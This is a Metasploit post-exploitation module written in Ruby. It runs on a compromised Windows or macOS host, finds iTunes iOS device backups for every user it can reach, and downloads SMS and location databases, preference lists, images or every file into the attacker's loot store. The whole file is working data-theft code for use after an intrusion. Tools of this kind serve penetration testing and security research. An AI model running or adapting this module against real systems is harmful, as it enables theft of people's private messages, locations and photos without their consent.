##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/post/file'
require 'rex/parser/apple_backup_manifestdb'

class Metasploit3 < Msf::Post

	include Msf::Post::File

	def initialize(info={})
		super( update_info(info,
			'Name'           => 'Windows Gather Apple iOS MobileSync Backup File Collection',
			'Description'    => %q{ This module will collect sensitive files from any on-disk iOS device backups },
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'hdm',
					'bannedit' # Based on bannedit's pidgin_cred module structure
				],
			'Platform'       => ['win', 'osx'],
			'SessionTypes'   => ['meterpreter', 'shell']
		))
		register_options(
			[
				OptBool.new('DATABASES',  [false, 'Collect all database files? (SMS, Location, etc)', true]),
				OptBool.new('PLISTS', [false, 'Collect all preference list files?', true]),
				OptBool.new('IMAGES', [false, 'Collect all image files?', false]),
				OptBool.new('EVERYTHING', [false, 'Collect all stored files? (SLOW)', false])
			], self.class)
	end

	#
	# Even though iTunes is only Windows and Mac OS X, look for the MobileSync files on all platforms
	#
	#
	def run
		case session.platform
		when /osx/
			@platform = :osx
			paths = enum_users_unix
		when /win/
			@platform = :windows
			drive = session.fs.file.expand_path("%SystemDrive%")
			os = session.sys.config.sysinfo['OS']

			if os =~ /Windows 7|Vista|2008/
				@appdata = '\\AppData\\Roaming'
				@users = drive + '\\Users'
			else
				@appdata = '\\Application Data'
				@users = drive + '\\Documents and Settings'
			end

			if session.type != "meterpreter"
				print_error "Only meterpreter sessions are supported on windows hosts"
				return
			end
			paths = enum_users_windows
		else
			print_error "Unsupported platform #{session.platform}"
			return
		end

		if paths.empty?
			print_status("No users found with an iTunes backup directory")
			return
		end

		process_backups(paths)
	end

	def enum_users_unix
		if @platform == :osx
			home = "/Users/"
		else
			home = "/home/"
		end

		if got_root?
			userdirs = []
			session.shell_command("ls #{home}").gsub(/\s/, "\n").split("\n").each do |user_name|
				userdirs << home + user_name
			end
			userdirs << "/root"
		else
			userdirs = [ home + whoami ]
		end

		backup_paths = []
		userdirs.each do |user_dir|
			output = session.shell_command("ls #{user_dir}/Library/Application\\ Support/MobileSync/Backup/")
			if output =~ /No such file/i
				next
			else
				print_status("Found backup directory in: #{user_dir}")
				backup_paths << "#{user_dir}/Library/Application\\ Support/MobileSync/Backup/"
			end
		end

		check_for_backups_unix(backup_paths)
	end

	def check_for_backups_unix(backup_dirs)
		dirs = []
		backup_dirs.each do |backup_dir|
			print_status("Checking for backups in #{backup_dir}")
			session.shell_command("ls #{backup_dir}").each_line do |dir|
				next if dir == "." || dir == ".."
				if dir =~ /^[0-9a-f]{16}/i
					print_status("Found #{backup_dir}\\#{dir}")
					dirs << ::File.join(backup_dir.chomp, dir.chomp)
				end
			end
		end
		dirs
	end

	def enum_users_windows
		paths = Array.new

		if got_root?
			begin
				session.fs.dir.foreach(@users) do |path|
					next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/i
					bdir = "#{@users}\\#{path}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
					dirs = check_for_backups_win(bdir)
					dirs.each { |dir| paths << dir } if dirs
				end
			rescue ::Rex::Post::Meterpreter::RequestError
				# Handle the case of the @users base directory is not accessible
			end
		else
			print_status "Only checking #{whoami} account since we do not have SYSTEM..."
			path = "#{@users}\\#{whoami}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
			dirs = check_for_backups_win(path)
			dirs.each { |dir| paths << dir } if dirs
		end
		return paths
	end

	def check_for_backups_win(bdir)
		dirs = []
		begin
				print_status("Checking for backups in #{bdir}")
				session.fs.dir.foreach(bdir) do |dir|
				if dir =~ /^[0-9a-f]{16}/i
					print_status("Found #{bdir}\\#{dir}")
					dirs << "#{bdir}\\#{dir}"
				end
			end
		rescue Rex::Post::Meterpreter::RequestError
			# Handle base directories that do not exist
		end
		dirs
	end

	def process_backups(paths)
		paths.each {|path| process_backup(path) }
	end

	def process_backup(path)

		print_status("Pulling data from #{path}...")

		mbdb_data = ""
		mbdx_data = ""

		print_status("Reading Manifest.mbdb from #{path}...")
		if session.type == "shell"
			mbdb_data = session.shell_command("cat #{path}/Manifest.mbdb")
			if mbdb_data =~ /No such file/i
				print_status("Manifest.mbdb not found in #{path}...")
				return
			end
		else
			mfd = session.fs.file.new("#{path}\\Manifest.mbdb", "rb")
			until mfd.eof?
				mbdb_data << mfd.read
			end
			mfd.close
		end

		print_status("Reading Manifest.mbdx from #{path}...")
		if session.type == "shell"
			mbdx_data = session.shell_command("cat #{path}/Manifest.mbdx")
			if mbdx_data =~ /No such file/i
				print_status("Manifest.mbdx not found in #{path}...")
				return
			end
		else
			mfd = session.fs.file.new("#{path}\\Manifest.mbdx", "rb")
			until mfd.eof?
				mbdx_data << mfd.read
			end
			mfd.close
		end

		manifest = Rex::Parser::AppleBackupManifestDB.new(mbdb_data, mbdx_data)

		patterns = []
		patterns << /\.db$/i if datastore['DATABASES']
		patterns << /\.plist$/i if datastore['PLISTS']
		patterns << /\.(jpeg|jpg|png|bmp|tiff|gif)$/i if datastore['IMAGES']
		patterns << /.*/ if datastore['EVERYTHING']

		done = {}
		patterns.each do |pat|
			manifest.entries.each_pair do |fname, info|
				next if done[fname]
				next if not info[:filename].to_s =~ pat

				print_status("Downloading #{info[:domain]} #{info[:filename]}...")

				begin

				fdata = ""
				if session.type == "shell"
					fdata = session.shell_command("cat #{path}/#{fname}")
				else
					mfd = session.fs.file.new("#{path}\\#{fname}", "rb")
					until mfd.eof?
						fdata << mfd.read
					end
					mfd.close
				end
				bname = info[:filename] || "unknown.bin"
				rname = info[:domain].to_s + "_" + bname
				rname = rname.gsub(/\/|\\/, ".").gsub(/\s+/, "_").gsub(/[^A-Za-z0-9\.\_]/, '').gsub(/_+/, "_")
				ctype = "application/octet-stream"

				store_loot("ios.backup.data", ctype, session, fdata, rname, "iOS Backup: #{rname}")

				rescue ::Interrupt
					raise $!
				rescue ::Exception => e
					print_error("Failed to download #{fname}: #{e.class} #{e}")
				end

				done[fname] = true
			end
		end
	end


	def got_root?
		case @platform
		when :windows
			if session.sys.config.getuid =~ /SYSTEM/
				return true
			else
				return false
			end
		else # unix, bsd, linux, osx
			ret = whoami
			if ret =~ /root/
				return true
			else
				return false
			end
		end
	end

	def whoami
		if @platform == :windows
			session.fs.file.expand_path("%USERNAME%")
		else
			session.shell_command("whoami").chomp
		end
	end
end
